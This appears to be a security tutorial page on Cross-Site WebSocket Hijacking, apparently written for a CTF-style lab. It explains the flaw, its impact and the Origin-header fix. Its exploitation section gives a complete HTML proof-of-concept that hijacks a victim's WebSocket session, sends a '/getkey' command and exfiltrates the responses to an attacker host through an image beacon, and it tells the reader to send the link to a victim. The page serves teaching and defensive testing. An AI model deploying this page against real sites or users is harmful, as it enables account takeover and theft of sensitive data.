Skip to main content

cross-site-websocket-hijacking-cswsh

Cross-Site WebSocket Hijacking (CSWSH)​

success

Reference for this vulnerability: Cross-Site WebSocket Hijacking (CSWSH) and following disclosed report: Account Takeover Using Cross-Site WebSocket Hijacking (CSWSH).

Introduction​

Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a cross-site request forgery (CSRF) vulnerability on a WebSocket handshake.

It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values.

An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user's session with the application.

The attacker's page can then send arbitrary messages to the server via the connection and read the contents of messages that are received back from the server. This means that, unlike regular CSRF, the attacker gains two-way interaction with the compromised application.

info

As opposed to XMLHttpRequest, WebSockets don't follow the same-origin policy.

Example​

For example, a website hosted on Origin A can use a WebSocket to connect to Origin B (and read/write content from/to the Websocket) by default.

As part of this connection, the user's cookies of Origin A will be sent to Origin B.

This means that if the application relies on cookies to perform authentication/authorization, a malicious website can get a victim to access Origin B via a WebSocket, and potentially access/modify sensitive data as this user.

To prevent this issue, the backend should check the Origin header to ensure that the Origin is part of a strict whitelist.

Exploitation​

To exploit this issue, you will need to create a malicious HTML page that will connect to the backend and read/write the information.

<!DOCTYPE html>
<html>
<head>
  <title>CSWSH PoC</title>
</head>
<body>

  <h3>Cross-Site WebSocket Hijacking Exploit</h3>
  <p>If you're logged in / have an active session to the target app → visit this page.<br>
  The key/secret should be sent to the attacker-controlled server.</p>

  <script>
    const wsUri = "ws://ptl-165fb59e4caf-039663af0dcb.libcurl.me/";   // or wss:// if it's secure (rare in CTFs)

    const ws = new WebSocket(wsUri);

    ws.onopen = function() {
      // Many CTF WS challenges expect a JSON command like this to trigger key leak
      // In this example, admin can run /getkey to retrieve the key or flag.
      ws.send(JSON.stringify({ text: "/getkey" }));
      // Alternative common triggers: ws.send("getkey");   or   ws.send(JSON.stringify({action:"getkey"}));
    };

    ws.onmessage = function(event) {
      let data;
      try {
        data = JSON.parse(event.data);
      } catch (e) {
        data = { text: event.data };  // fallback if raw text
      }

      // Exfiltrate via image (works even with CSP img-src *, very stealthy)
      // You can also use fetch("http://public-ip/log?data=" + encodeURIComponent(data.text))
      const img = new Image();
      img.src = "http://public-ip/?data=" + encodeURIComponent(data.text || "empty");
      
      // Optional: show on page for debugging your own PoC
      document.body.innerHTML += "<p>Received: " + (data.text || event.data) + "</p>";
    };

    ws.onerror = function(err) {
      console.error("WebSocket error:", err);
    };

    ws.onclose = function() {
      console.log("WebSocket closed");
    };
  </script>

</body>
</html>

Save this as index.html and run python server. Then send the link to victim. The app should send the command /getkey on behalf of admin user if admin user (authenticated to target app) visits our malicious page.

What is the impact ​

A successful cross-site WebSocket hijacking attack will often enable an attacker to:

  • Perform unauthorized actions masquerading as the victim user. As with regular CSRF, the attacker can send arbitrary messages to the server-side application. If the application uses client-generated WebSocket messages to perform any sensitive actions, then the attacker can generate suitable messages cross-domain and trigger those actions.
  • Retrieve sensitive data that the user can access. Unlike with regular CSRF, cross-site WebSocket hijacking gives the attacker two-way interaction with the vulnerable application over the hijacked WebSocket. If the application uses server-generated WebSocket messages to return any sensitive data to the user, then the attacker can intercept those messages and capture the victim user's data.